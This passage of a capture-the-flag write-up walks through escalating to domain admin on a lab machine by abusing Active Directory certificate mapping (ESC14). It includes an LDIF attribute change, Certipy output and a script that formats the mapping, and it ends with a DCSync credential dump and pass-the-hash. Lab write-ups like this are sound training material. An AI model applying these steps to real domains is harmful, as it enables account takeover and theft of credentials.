<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fq0AF4VUs2ZVkFfszBYGa%2Fimage.png?alt=media&amp;token=7718695b-48a1-45b2-85ca-279c06ceba54" alt=""><figcaption></figcaption></figure>

* Ok, given that we know A.Carter has GenericAll writes over the 'Staff Access Certificate' OU, d.baker falls under this OU and is a member of 'Staff' group, which has Enrollment Rights on the StaffAccessCertificate, we could potentially use all of this to take advantage of the weak cert mapping, I could potentially replace or map a setting as the user 'h.brown' and gain access. Now, this user is part of the Protected Users as well. Let's see if we can gain access to this user.
* First, since we have complete control over the OU, we can start by granting FullControl of the d.baker user over this OU and confirm by querying DACL:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FIWzWcHj5ey1egyzeYv0W%2Fimage.png?alt=media&amp;token=3247b071-ae3b-460e-82d7-e00852d2ffe3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FWcQtDyYrxluAkwDRP28B%2Fimage.png?alt=media&amp;token=3f107958-95f6-4c37-84bb-b2e60af8cea7" alt=""><figcaption></figcaption></figure>

* Now, we will take advantage of the weak cert mapping by modifying d.bakers email to reflect that of user h.brown, which we previously observed in the 'altSecurityIdentifier' attribute. To do this, I will create an ldif file that has the following content. This way, we can supply the file using ldapmodify:

{% code overflow="wrap" expandable="true" %}

```
dn: CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb
changetype: modify
replace: mail
mail: h.brown@scepter.htb
```

{% endcode %}

* Attempting to use the ldapmodify method failed several times. I will pivot to using bloodyAD instead. We will update the user 'd.baker' mail attribute to reflect that of user 'h.brown' and then verify that this is set:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FSPzm4L5rdcOst4nVXYxz%2Fimage.png?alt=media&amp;token=0fb5a095-868b-4e93-855f-bd1a945953d1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F9h5nt9P0S7soVjYR6owl%2Fimage.png?alt=media&amp;token=e613b6b7-27b7-4e4b-95c0-5cb9a47f9ae8" alt=""><figcaption></figcaption></figure>

* Now, we can request a certificate for the user 'd.baker' using the template that we identified earlier:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FKTAG6DBVXp6yKed44Lme%2Fimage.png?alt=media&amp;token=a3d588cd-fe90-4106-a13f-06edc94f05f7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FZKCwdLlFfCGqbMgMxfRc%2Fimage.png?alt=media&amp;token=2cf44f2b-64e9-4fe3-9534-e58cc72c7bec" alt=""><figcaption></figcaption></figure>

* Per this article: <https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc14-weak-explicit-mapping> "The target has an explicit weak mapping of type `X509RFC822`. The attacker can modify the `mail` attribute of the victim so that it matches the `X509RFC822` mapping of the target. It is then possible to enroll on the certificate model with the victim, and use the certificate obtained to authenticate as the target."
* Now, we know that we associated or mapped the user 'h.brown' email with our controlled user 'd.baker' for the ESC14 attack. Now, since we have this certificate, we can auth and specify a username. This allows us to request, on behalf of the target principal, a certificate that we can then use to gain access and request a TGT and get the NT hash for the user with weak mappings:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FhimN1I2ZJJYF99X6MmK2%2Fimage.png?alt=media&amp;token=ba3e19c2-a518-4dc0-846e-395db48b1bf3" alt=""><figcaption></figcaption></figure>

* We now gain access:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FdSUWeQL2eg8rt28zD6eh%2Fimage.png?alt=media&amp;token=9160a7f5-28c6-444d-a92e-3c99fc14a7bf" alt=""><figcaption></figcaption></figure>

## Host Enumeration

* As we previously saw, these are the groups this user is part of:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F9XmFQb7jnkCcCiUDvwGM%2Fimage.png?alt=media&amp;token=1cb2e805-418c-4cc1-80aa-ad3537a1d430" alt=""><figcaption></figcaption></figure>

* Enumeration of the OUs in the domain show that there is a 'Helpdesk Enrollment Certificate OU'. We previously found the 'Staff Access Certificate' OU in Bloodhound. We will check Bloodhound for the other OU now:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FFIUVXBGbeh5KmVCqOoaQ%2Fimage.png?alt=media&amp;token=00ea75c7-5c86-4727-aada-598cb5175ef2" alt=""><figcaption></figcaption></figure>

* HelpDesk Enrollment Certificate contains the user P.Adams:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F4bazOhugk6KaodFVW7WC%2Fimage.png?alt=media&amp;token=90b8c176-70e4-43a0-bdf4-9fb974469f6b" alt=""><figcaption></figcaption></figure>

* P.Adams is a member of the Replication Operators group and this group has DCSync capabilities over the DC. If we can gain access as this user, we can dump the NTDS.dit from the DC and it is game over at that point:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F52YlU80rSmFZEjmkswQb%2Fimage.png?alt=media&amp;token=254a2d93-724d-4be6-b66b-c73177548933" alt=""><figcaption></figcaption></figure>

* Intriguing, after some digging and upon looking at the ACLs on the OU 'HelpDesk Enrollment Certificate', we can see that members of CMS (which h.brown is a member) have Alt-Security-Identities, WriteProperty permissions on this OU. Possibly we could conduct another certificate vulnerability, gain access to the HelpDesk Enrollment Certificate, and then request a cert for the P.Adams user. This would give us the TGT for the user, which we could use to auth and perform a DCSync attack:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FZvn8XvHiqxr02Jxu9ctM%2Fimage.png?alt=media&amp;token=2034b72e-6829-45cd-9d22-1d12f1d222ba" alt=""><figcaption></figcaption></figure>

## Another Round of Certipy Enumeration

* We will go back and enumerate our Certipy output again. We can see a 'HelpdeskEnrollmentCertificate' template that allows 'Domain Computers' Enrollment permissions. Interesting, this could be our way to gain access to the P.Adams user. We could possibly add another computer. We will need to check the MAQ of the domain to see if we can create computer accounts:

{% code overflow="wrap" expandable="true" %}

```
1
    Template Name                       : HelpdeskEnrollmentCertificate
    Display Name                        : HelpdeskEnrollmentCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-01T03:42:58+00:00
    Template Last Modified              : 2024-11-01T03:43:09+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Domain Computers
                                          SCEPTER.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Administrator
        Full Control Principals         : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Write Owner Principals          : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Write Property Enroll           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Domain Computers
                                          SCEPTER.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SCEPTER.HTB\Domain Computers
```

{% endcode %}

* Hmm, the MAQ is set to 0:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FgWDJmA5nL1IkMHUcGY0P%2Fimage.png?alt=media&amp;token=f0c5b1ba-09d6-4754-9b40-f30690a24d61" alt=""><figcaption></figcaption></figure>

* What we need now is to enumerate and see if there are any groups, OUs, etc that we could possibly add a computer account to the domain. Being that we previously confirmed A.Carter has GenericAll rights over the Staff Access Certificates, we should be able to add a computer account to this OU:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FmVgcWq3b7ewk1lvfY57m%2Fimage.png?alt=media&amp;token=243fc1b8-cb4c-4a52-9e5c-74188f4a0d91" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fx3ALBvPK3pTWBtWBklXp%2Fimage.png?alt=media&amp;token=3dd7d5e8-3cf3-4a3f-9f55-cb10e50d6bce" alt=""><figcaption></figcaption></figure>

* Now that this has been completed and we control a machine account, we can request a certificate using the specified template:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FTJN4dokqT27VmEnuS7In%2Fimage.png?alt=media&amp;token=8d309bf7-b50e-4254-bf36-3a5f3b5b0f23" alt=""><figcaption></figcaption></figure>

## Gaining Access to User 'P.Adams'

* Here is the output from the certificate we just obtained. We currently have a pkcs12 file, which we will remember holds the x509 certificate that we learned about earlier. We can list this out. Claude was helpful in giving me syntax to list out the x509 portion:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fi4PuLkhXRSQ2uPv8fBjf%2Fimage.png?alt=media&amp;token=68104afb-3aa8-4dc4-baf6-051e5a424e8d" alt=""><figcaption></figcaption></figure>

* Continuing to read the article <https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/#4a82>, we can use explicit certificate mapping to specify the 'altSecurityIdentities' for a user. However, per the article, "The altSecurityIdentities attribute needs the IssuerName, SubjectName, or SerialNumber values in “forward” format, meaning that you have to reverse the values when writing them. You must keep the byte order for the serial number, so “A1B2C3” should result in “C3B2A1” and not “3C2B1A”."
* We can perform this attack and specify the 'x509IssuerSerialNumber', but we will need to supply the issuer name and the serial number:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fgr7nF5KO3ZT6QJ8UjHld%2Fimage.png?alt=media&amp;token=79231edd-7588-45c6-a9fc-13cb62ea2416" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Photo from SpecterOps article.</em></p>

* We will retrieve the specified mapping, reverse the values, map this to the P.Adams user and then request a certificate on behalf of that user. First, we need to get the correct output for the SerialNumber mapping:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FSuRMjGJ7gZ9SmslQtVYG%2Fimage.png?alt=media&amp;token=0c40d28d-a9dc-4aa8-910f-c60036e652ae" alt=""><figcaption></figcaption></figure>

* Next, we will get the correct format for this to work. I had Claude craft me a quick python script to ask for the Issuer and Serial number. This will take the input and convert it to the correct 'forward' format:

{% code overflow="wrap" expandable="true" %}

```
#!/usr/bin/env python3
"""
Format x509IssuerSerialNumber for altSecurityIdentities.
Reverses IssuerName RDN order and byte-reverses the serial number.
"""
 
import sys
 
def reverse_serial_bytes(serial: str) -> str:
    """Byte-reverse a hex serial number. 'A1B2C3' -> 'C3B2A1'"""
    serial = serial.replace(":", "").replace(" ", "").upper()
    if len(serial) % 2 != 0:
        serial = "0" + serial
    pairs = [serial[i:i+2] for i in range(0, len(serial), 2)]
    return "".join(reversed(pairs))
 
def format_mapping(issuer_dn: str, serial_hex: str) -> str:
    clean_issuer = issuer_dn.replace(", ", ",").replace(" ,", ",")
    rev_serial = reverse_serial_bytes(serial_hex)
    return f"X509:<I>{clean_issuer}<SR>{rev_serial}"
 
 
if __name__ == "__main__":
    issuer_dn  = input("Issuer DN  : ").strip()
    serial_hex = input("Serial Hex : ").strip()
 
    result = format_mapping(issuer_dn, serial_hex)
 
    print("\nSet altSecurityIdentities to:")
    print(f"  {result}")
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fb8drT9rhojHdWf3d1Dgx%2Fimage.png?alt=media&amp;token=6224050f-a081-4ae6-b4a4-d7997d3fd837" alt=""><figcaption></figcaption></figure>

* Now, we can map this to the P.Adams user:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FiuRrDCZZ5ysVJ1ng9WB5%2Fimage.png?alt=media&amp;token=86b24cef-0fde-4ea2-8464-0613b0e12fef" alt=""><figcaption></figcaption></figure>

Now that we have the correct syntax and the correct mapping, we can request a certificate and specify the username P.Adams. If this all works, we should get a TGT and the users NTLM hash:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FjlmjmEfTOUKsfHxDtlBM%2Fimage.png?alt=media&amp;token=8151bcc4-7479-4475-8eb1-928d7cbfda5d" alt=""><figcaption></figcaption></figure>

* Success!

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F4LPaDUdc8X7V4V3Xgy9e%2Fimage.png?alt=media&amp;token=a6bc9d4f-3748-411d-bc76-eb37e84eb6e1" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

* We previously established that the user 'P.Adams' has DCSync rights over the DC. We can now dump the NTDS.dit:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FlcQWvVSg1wEZhLauIu1d%2Fimage.png?alt=media&amp;token=7e32c4b9-19b8-4ded-9dc1-a9390dd97aa0" alt=""><figcaption></figcaption></figure>

* I will now PtH to gain access as the Administrator user:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FCnWZWTevrGN2irTAoqkF%2Fimage.png?alt=media&amp;token=57d13bbb-105b-460e-93fe-ac07c3433478" alt=""><figcaption></figcaption></figure>

## Resources

### NFS over RPC Mounting of NFS

* <https://hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html>

### Certificate Recovery Leading to Creds

* <https://cicada-8.medium.com/adcs-so-u-got-certificate-now-ive-got-nine-ways-to-abuse-it-861081cff082>
* <https://www.ssldragon.com/blog/convert-crt-pem/>
* <https://medium.com/@munteanu210/how-to-convert-crt-to-pem-cer-to-pem-and-der-to-pem-aaf128033c48>

### ESC14 Vulnerability

* <https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html?highlight=ESC14#vulnerable-certificate-renewal-configuration--esc14>
* <https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/#4a82>
* <https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc14-weak-explicit-mapping>
